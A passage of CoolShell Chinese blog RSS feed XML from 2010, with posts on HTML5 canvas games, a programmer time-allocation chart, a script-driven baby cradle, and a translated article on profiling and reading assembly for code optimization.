下面是一些用HTML5做出来的小游戏，让我想得了我小时候的那些游戏。</p>\n<p>顺祝大家中秋节快乐！以及进入史上最混乱的长假调休。呵呵。</p>\n<h4><a rel=\"nofollow\" href=\"http://hakim.se/experiments/html5/sinuous/01/\" target=\"_blank\">Sinuous</a></h4>\n<p>小心被红点撞上。</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-4.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://www.nihilogic.dk/labs/mariokart/\" target=\"_blank\">超级玛丽卡丁车</a></h4>\n<p>A small but fun racing game built in html5 canvas and javascript.</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-1.jpg\" alt=\"\" /></p>\n<p><span id=\"more-2998\"></span></p>\n<h4><a rel=\"nofollow\" href=\"http://arandomurl.com/2010/07/25/html5-pacman.html\" target=\"_blank\">吃豆</a></h4>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-5.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://www.benjoffe.com/code/games/torus/\" target=\"_blank\">圆环俄罗斯方块</a></h4>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-2.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://www.kevs3d.co.uk/dev/asteroids/\" target=\"_blank\">Asteroids</a></h4>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-3.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://www.paulbrunt.co.uk/bert/\" target=\"_blank\">Bert’s Breakdown</a></h4>\n<p>很不错的游戏，漂亮的界面以及不错的关卡设置。</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-6.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://reas.com/twitch/\" target=\"_blank\">TWITCH</a></h4>\n<p>TWITCH是一个解题性质的游戏。试试看你有多快。</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-7.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://29a.ch/jswars/\" target=\"_blank\">JS Wars</a></h4>\n<p>一个经典的空战游戏。</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-8.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://www.yvoschaap.com/chainrxn/\" target=\"_blank\">Chain Reaction</a></h4>\n<p>一个简单又容易上瘾的游戏。</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-9.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://grenlibre.fr/demo/same/\" target=\"_blank\">Same Game</a></h4>\n<p>这个游戏相信大家都会玩，把相同颜色的连在一起。</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-10.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://www.wiicade.com/playJSGame.aspx?gameID=1317&amp;gameName=Coverfire\" target=\"_blank\">Coverfire</a></h4>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-11.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://www.mattpelham.com/racing/\" target=\"_blank\">JQuery Racing</a></h4>\n<p>靠！这个游戏很耐完，我相信你一定会在上面花很多时间。 jQuery 做的。</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-12.jpg\" alt=\"\" /></p>\n<h3><a rel=\"nofollow\" href=\"http://joncom.be/experiments/thrust/\">Thrust</a></h3>\n<p>经典的八位图游戏。让我想起了《<a title=\"史上最烂的超级玛丽\" href=\"https://coolshell.cn/articles/2834.html\" target=\"_blank\">史上最烂的超级玛丽</a>》</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-13.jpg\" alt=\"\" /></p>\n<h3><a rel=\"nofollow\" href=\"http://aduros.emufarmers.com/easel/\">俄罗斯方块</a></h3>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-14.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://alteredqualia.com/cubeout/\" target=\"_blank\">3D 俄罗斯方块 – Cubeout</a></h4>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-15.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://dougx.net/plunder/plunder.html\" target=\"_blank\">Galatic Plunder</a></h4>\n<p>这个游戏使用了Canvas 和 Audio，主要是为了证明，没有Flash，用HTML5一样行。</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-16.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://10k.aneventapart.com/Uploads/62/\" target=\"_blank\">Lines</a></h4>\n<p>很简单的游戏，我老看到办公室里很多人在玩。</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-17.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://10k.aneventapart.com/Uploads/392/\" target=\"_blank\">RGB Invaders</a></h4>\n<p>小蜜蜂。</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-18.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://www.agent8ball.com/\" target=\"_blank\">Agent 008 Ball</a></h4>\n<p>受不了了，还有台球。</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-19.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://www.somethinghitme.com/projects/jslander/\" target=\"_blank\">JSLander</a></h4>\n<p>一个飞船着陆游戏。速度不要起过去6，不然就坠毁了。</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-20.jpg\" alt=\"\" /></p>\n<h4><a rel=\"nofollow\" href=\"http://10k.aneventapart.com/Uploads/27/\" target=\"_blank\">Rainbow Blocks</a></h4>\n<p>SameGame 和JT的另一种变种。</p>\n<p><img decoding=\"async\" src=\"http://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-21.jpg\" alt=\"\" /></p>\n<p><strong>文章</strong>：<a href=\"http://blog.insicdesigns.com/2010/09/showcase-of-games-developed-using-html5-canvas/\">http://blog.insicdesigns.com/2010/09/showcase-of-games-developed-using-html5-canvas/</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"JS游戏引擎列表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_title\">JS游戏引擎列表</a></li><li ><a href=\"https://coolshell.cn/articles/3267.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/flash_vs_html5-150x150.jpg\" alt=\"游戏Flash vs HTML5\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3267.html\" class=\"wp_rp_title\">游戏Flash vs HTML5</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2998.html\">HTML5 小游戏展示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2998.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>编程时间分配图</title>\n\t\t<link>https://coolshell.cn/articles/2990.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2990.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 21 Sep 2010 00:19:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2990</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一个程序员coding的时间分配图，原图在这里。 思考会是一个很重要的过程，当然耽搁拖沓也有可能也是因为没有想好，抽烟/喝咖啡应该也是一种思考，吃点东西是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2990.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2990.html\">编程时间分配图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是一个程序员coding的时间分配图，原图在<a href=\"http://graphjam.files.wordpress.com/2010/09/8463a94d-0945-43b6-9adf-db795bbc14b9.png\" target=\"_blank\">这里</a>。</p>\n<figure id=\"attachment_2991\" aria-describedby=\"caption-attachment-2991\" style=\"width: 535px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2991\" title=\"Time Allocation while  Programming\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/Time-Allocation-while-Programming.png\" alt=\"\" width=\"535\" height=\"478\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/Time-Allocation-while-Programming.png 535w, https://coolshell.cn/wp-content/uploads/2010/09/Time-Allocation-while-Programming-300x268.png 300w, https://coolshell.cn/wp-content/uploads/2010/09/Time-Allocation-while-Programming-302x270.png 302w\" sizes=\"(max-width: 535px) 100vw, 535px\" /><figcaption id=\"caption-attachment-2991\" class=\"wp-caption-text\">编程时间分配图</figcaption></figure>\n<p>思考会是一个很重要的过程，当然耽搁拖沓也有可能也是因为没有想好，抽烟/喝咖啡应该也是一种思考，吃点东西是为了让脑子转得更快一点，上网搜索一下灵感可以借鉴一下其它人的想法，抱怨写注释只是一个例子，更多的应该是抱怨加班或是公司的老板。</p>\n<p>如果需要加上点什么的话，我觉得应该加点“重构”，“编译”，“调试”，当然，他们都可以算在coding里。不过，我觉得更应该还有：“开会”，“争吵/解释”，“打断”，这些比重也是很大的。</p>\n<p>所以，下面是我个人认为比较实际的版本：</p>\n<p><span id=\"more-2990\"></span></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2996\" title=\"Time Allocation while  Programming(CoolShell.cn)\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/Time-Allocation-while-ProgrammingCoolShell.cn_.png\" alt=\"\" width=\"660\" height=\"429\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/Time-Allocation-while-ProgrammingCoolShell.cn_.png 660w, https://coolshell.cn/wp-content/uploads/2010/09/Time-Allocation-while-ProgrammingCoolShell.cn_-300x195.png 300w\" sizes=\"(max-width: 660px) 100vw, 660px\" /></p>\n<p style=\"text-align: center;\">编程时间图（酷壳版）</p>\n<p>你的编程时间分配图是怎么样的？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" alt=\"重构代码的7个阶段\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_title\">重构代码的7个阶段</a></li><li ><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/20110620115951113-150x150.gif\" alt=\"一个空格引发的惨剧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_title\">一个空格引发的惨剧</a></li><li ><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li><li ><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"代码重构的一个示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_title\">代码重构的一个示例</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2990.html\">编程时间分配图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2990.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>34</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-26.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 26 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=26\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Fri, 24 Sep 2010 06:07:08 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>用脚本实现哄宝宝睡觉(Demo)</title>\n\t\t<link>https://coolshell.cn/articles/2987.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2987.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 20 Sep 2010 09:03:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Bash]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2987</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>去年，本站发布了一篇文章《用脚本哄宝宝睡觉》，具体想法是把摇篮和光驱连一起，然后用脚本把光驱弹出和收入以实现驱动摇篮。今天在网上看到一个具体实现，呵呵。看下面的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2987.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2987.html\">用脚本实现哄宝宝睡觉(Demo)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>去年，本站发布了一篇文章《<a href=\"https://coolshell.cn/articles/1539.html\" target=\"_blank\">用脚本哄宝宝睡觉</a>》，具体想法是把摇篮和光驱连一起，然后用脚本把光驱弹出和收入以实现驱动摇篮。今天在网上看到一个具体实现，呵呵。看下面的视频：</p>\n<p style=\"text-align: center;\"><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"480\" height=\"400\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"><param name=\"align\" value=\"middle\" /><param name=\"src\" value=\"http://player.youku.com/player.php/sid/XMTE1MzgwNjI0/v.swf\" /><param name=\"quality\" value=\"high\" /><embed type=\"application/x-shockwave-flash\" width=\"480\" height=\"400\" src=\"http://player.youku.com/player.php/sid/XMTE1MzgwNjI0/v.swf\" quality=\"high\" align=\"middle\"></embed></object><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png\" alt=\"你可能不知道的Shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_title\">你可能不知道的Shell</a></li><li ><a href=\"https://coolshell.cn/articles/1539.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/baby_linux-150x150.jpg\" alt=\"用脚本实现哄小孩睡觉\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1539.html\" class=\"wp_rp_title\">用脚本实现哄小孩睡觉</a></li><li ><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何调试bash脚本\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_title\">如何调试bash脚本</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2987.html\">用脚本实现哄宝宝睡觉(Demo)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2987.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>15</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>代码优化概要</title>\n\t\t<link>https://coolshell.cn/articles/2967.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2967.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 20 Sep 2010 00:22:31 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Optimization]]></category>\n\t\t<category><![CDATA[优化]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2967</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文译自Dr. Dobb&#8217;s Blogger的Walter Bright写的《Overlooked Essentials For Optimizin...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2967.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2967.html\">代码优化概要</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本文译自Dr. Dobb&#8217;s Blogger的Walter Bright写的《<a href=\"http://www.drdobbs.com/blog/archives/2010/09/overlooked_esse.html\" target=\"_blank\">Overlooked Essentials For Optimizing Code</a></p>\n<p>》</p>\n<hr />\n<p>我编写程序至今有35年了，我做了很多关于程序执行速度方面优化的工(<a href=\"http://biolpc22.york.ac.uk/wx/wxhatch/wxMSW_Compiler_choice.html\">一个示例</a>)，我也看过其它人做的优化。我发现有两个最基本的优化技术总是被人所忽略。  注意，这两个技术并不是避免时机不成熟的优化。并不是把冒泡排序变成快速排序（算法优化）。也不是语言或是编译器的优化。也不是把 i*4写成i&lt;&lt;2 的优化。  这两个技术是：</p>\n<ol>\n<li>使用 一个profiler。</li>\n<li>查看程序执行时的汇编码。</li>\n</ol>\n<p>使用这两个技术的人将会成功地写出运行快的代码，不会使用这两个技术的人则不行。下面让我为你细细道来。</p>\n<h4>使用一个 Profiler</h4>\n<p>我们知道，程序运行时的90%的时间是用在了10%的代码上。我发现这并不准确。一次又一次地，我发现，几乎所有的程序会在1%的代码上花了99%的运行时间。但是，是哪个1%？一个好的Profiler可以告诉你这个答案。就算我们需要使用100个小时在这1%的代码上进行优化，也比使用100个小时在其它99%的代码上优化产生的效益要高得多得多。<span id=\"more-2967\"></span> 问题是什么？人们不用profiler？不是。我工作过的一个地方使用了一个华丽而奢侈的Profiler，但是自从购买这个Profiler后，它的包装3年来还是那么的暂新。为什么人们不用？我真的不知道。有一次，我和我的同事去了一个负载过大的交易所，我同事坚持说他知道哪里是瓶颈，毕竟，他是一个很有经验的专家。最终，我把我的Profiler在他的项目上运行了一下，我们发现那个瓶颈完全在一个意想不到的地方。  就像是赛车一样。团队是赢在传感器和日志上，这些东西提供了所有的一切。你可以调整一下赛车手的裤子以让其在比赛过程中更舒服，但是这不会让你赢得比赛，也不会让你更有竞争力。如果你不知道你的速度上不去是因为引擎、排气装置、空体动力学、轮胎气压，或是赛车手，那么你将无法获胜。编程为什么会不同呢？只要没有测量，你就永远无法进步。  这个世界上有太多可以使用的Profiler了。随便找一个你就可以看到你的函数的调用层次，调用的次数，以前每条代码的时间分解表（甚至可以到汇编级）。我看过太多的程序员回避使用Profiler，而是把时间花在那些无用的，错误的方向上的“优化”，而被其竞争对手所羞辱。（<strong>译者陈皓注</strong>：使用Profiler时，重点需要关注：1）花时间多的函数以优化其算法，2）调用次数巨多的函数——如果一个函数每秒被调用300K次，你只需要优化出0.001毫秒，那也是相当大的优化。这就是作者所谓的1%的代码占用了99%的CPU时间）</p>\n<h4>查看汇编代码</h4>\n<p>几年前，我有一个同事，Mary Bailey，她在华盛顿大学教矫正代数（remedial algebra），有一次，她在黑板上写下：  <code>x + 3 = 5</code> 然后问他的学生“求解x”，然后学生们不知道答案。于是她写下：  <code>__ + 3 = 5</code> 然后，再问学生“填空”，所有的学生都可以回答了。未知数x就像是一个有魔法的字母让大家都在想“x意味着代数，而我没有学过代数，所以我就不知道这个怎么做”。  汇编程序就是编程世界的代数。如果某人问我“inline函数是否被编译器展开了？”或是问我“如果我写下i*4，编译器会把其优化为左移位操作吗？”。这个时候，我都会建议他们看看编译器的汇编码。这样的回答是不是很粗暴和无用？通常，在我这样回答了提问者后，提问都通常都会说，对不起，我不知道什么是汇编！甚至C++的专家都会这么回答。  汇编语言是最简单的编程语言了（就算是和C++相比也是这样的），如：</p>\n<p style=\"padding-left: 30px;\"><code>ADD ESI,x</code></p>\n<p>就是（C风格的代码）</p>\n<p style=\"padding-left: 30px;\"><code>ESI += x;</code></p>\n<p>而：</p>\n<p 